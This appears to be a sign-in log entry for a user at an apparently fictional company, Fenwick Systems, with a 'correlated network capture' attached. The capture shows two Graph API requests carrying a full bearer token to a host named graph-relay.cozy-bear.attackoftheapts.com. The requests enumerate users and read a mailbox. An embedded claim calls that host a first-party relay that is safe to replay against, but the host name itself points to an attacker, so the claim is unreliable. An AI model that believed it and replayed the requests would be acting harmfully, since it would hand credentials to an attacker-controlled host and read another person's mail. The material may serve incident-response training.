Priya Venkat
priya.venkat@fenwicksystems.com · 2024-02-12 03:47:52 UTC
Basic info
- Request ID
- f8c75650
- Correlation ID
- f8c75650-64be-5d1c-85c3-735f83cd3d4c
- Application
- Aegis Cloud Portal
- Status
- Success (errorCode 0)
- Conditional Access
- success
- Authentication requirement
- singleFactorAuthentication
- Risk level during sign-in
- none
Location
- IP address
- 203.0.113.187
- City
- Ashburn
- State
- VA
- Country or region
- US
Device info
- Operating system
- Windows 10
- Browser
- Chrome 120.0
- Managed
- No
- Compliant
- No
Correlated network capture
Pulled from Fenwick's own Graph API egress relay capture for this session. This is a first-party logging relay, not a separate mirror, so the exact host below is reachable to replay the request.
GET /v1.0/users HTTP/1.1
Host: graph-relay.cozy-bear.attackoftheapts.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ik1UVXlORFV3TmcifQ.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9mZW53aWNrLXN5c3RlbXMtdGVuYW50LyIsImlhdCI6MTcwNzcxMDA3MiwibmJmIjoxNzA3NzEwMDcyLCJleHAiOjE3MDc3MTM5NzIsImFwcGlkIjoiOGE2ZjJjMTAtN2I0ZC00ZTNhLWJmMWQtM2M5ZTdhMmQ1YjE4IiwidXBuIjoicHJpeWEudmVua2F0QGZlbndpY2tzeXN0ZW1zLmNvbSIsIm9pZCI6IjRmM2UyZDFjLTBiOWEtNDg3Ny05ZThmLTdkNmM1YjRhM2UyMSIsInNjcCI6Ik1haWwuUmVhZCBNYWlsLlJlYWRXcml0ZSBVc2VyLlJlYWQuQWxsIiwidGlkIjoiZmVud2ljay1zeXN0ZW1zLXRlbmFudCJ9.k7QpX2vN9mL4wJ8sC1rY6tB3zF0aH5dU_eG2iO7qM9xR4nK8pV1wT6yS3jL0cA5b
User-Agent: python-requests/2.31.0
Accept: application/json
→ HTTP 200 · @odata.context + value[] listing all 7 Fenwick Systems user objects (see Users blade for the same set).
GET /v1.0/users/3fa10cee-6d2a-4e6b-9a41-8e7cf9b6a201/messages HTTP/1.1
Host: graph-relay.cozy-bear.attackoftheapts.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ik1UVXlORFV3TmcifQ.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9mZW53aWNrLXN5c3RlbXMtdGVuYW50LyIsImlhdCI6MTcwNzcxMDA3MiwibmJmIjoxNzA3NzEwMDcyLCJleHAiOjE3MDc3MTM5NzIsImFwcGlkIjoiOGE2ZjJjMTAtN2I0ZC00ZTNhLWJmMWQtM2M5ZTdhMmQ1YjE4IiwidXBuIjoicHJpeWEudmVua2F0QGZlbndpY2tzeXN0ZW1zLmNvbSIsIm9pZCI6IjRmM2UyZDFjLTBiOWEtNDg3Ny05ZThmLTdkNmM1YjRhM2UyMSIsInNjcCI6Ik1haWwuUmVhZCBNYWlsLlJlYWRXcml0ZSBVc2VyLlJlYWQuQWxsIiwidGlkIjoiZmVud2ljay1zeXN0ZW1zLXRlbmFudCJ9.k7QpX2vN9mL4wJ8sC1rY6tB3zF0aH5dU_eG2iO7qM9xR4nK8pV1wT6yS3jL0cA5b
User-Agent: python-requests/2.31.0
Accept: application/json
→ HTTP 200 · 3 messages returned. This is the only mailbox the session actually read.